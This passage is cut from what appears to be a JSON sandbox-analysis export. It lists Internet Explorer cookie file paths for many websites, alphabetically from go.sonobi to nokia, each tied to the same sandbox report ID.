okies\\%OSUSER%@go.sonobi[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@goalunited[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@godaddy[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@goo.ne[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@google[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@google[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@go[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@groupalia[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@groupon[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gruppoespresso01.webtrekk[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gssprt[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gtags[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@gwallet[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@h-hotels[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hao.360[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hao123[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hc360[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@heias[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hilton[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hit.gemius[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hit.interia[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hit.interia[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hm.baidu[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hm[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@howstuffworks[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@huanqiu[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hub.com[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hurpass[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@hurriyet.com[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@i-mobile.co[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ias.rakuten.co[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ibeu2.mookie1[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ibillboard[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ibm[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@icq[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ifeng[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ig.com[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@igodigital[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ih.adscale[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@iis1.deliver.ifeng[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@iivt[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ikea[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@im-apps[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@image.livedoor[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@imageshack[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@imdb[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@imedia[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@img.macromill[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@impdesk[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@imrworldwide[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@imvu[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@inbox[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@insightexpressai[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@instraffic[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@intel[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@intentiq[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@intuit[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ioam[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ip138[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ipinyou[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@iqiyi[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@irs01[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@irs[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@itau.com[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@java[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@jetblue[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@jiayuan[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@js.sddan[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@jugem[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@justpremium[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@kakakucom.112.2o7[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@kakaku[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@kayak[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@kijiji[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@krxd[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@kuwan8[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@l.qq[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ladsp[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lashou[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@last[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@leboncoin[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ledu[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@legacy[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@legolas-media[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lenovo.demdex[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lenovo[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@letao[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@letitbit[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@le[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@libero[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ligadx[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lijit[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@linkedin[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@linksynergy[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@liutilities[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@livedoor[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@livestrong[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@logly.co[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lowes[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@lvs.truehits.in[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@m.exactag[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@m.webtrends[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@made-in-china[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mail[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mapion.co[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@marca[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@marriott[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@match.adsby.bidtheatre[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@match.rundsp[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mathtag[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@matrixspa[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@media6degrees[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mediafire[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mediaplex[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mediav[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@memorylane.d1.sc.omtrdc[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mercadolivre.com[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@merriam-webster[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mfp.deliver.ifeng[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@miaozhen[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@microsoftstore[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@microsoftwindows.112.2o7[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@microsoft[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@minijuegos[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ml314[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mlb[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mlsat02[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mm.markandmini[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mmstat[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mobilcom-debitel[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mobile[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mookie1[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@moonbasa[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@moshimonsters[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mozilla[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mp3raid4[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mplxtms[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mpsnare.iesnare[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@msn[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mthai[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mtime[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mtvn.demdex[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mxptint[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@myhard[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@myplaycity[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@myspace[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@mywebsearch[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@n.rivals[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nakanohito[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nate[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@navdmp[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nbcu.demdex[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@netflix[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@netmng[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@network.bazaarvoice[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@newscgp[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@newsvine[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nexac[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nexage[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nexon[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nickjr[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nicovideo[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@noaa[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@nokia[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"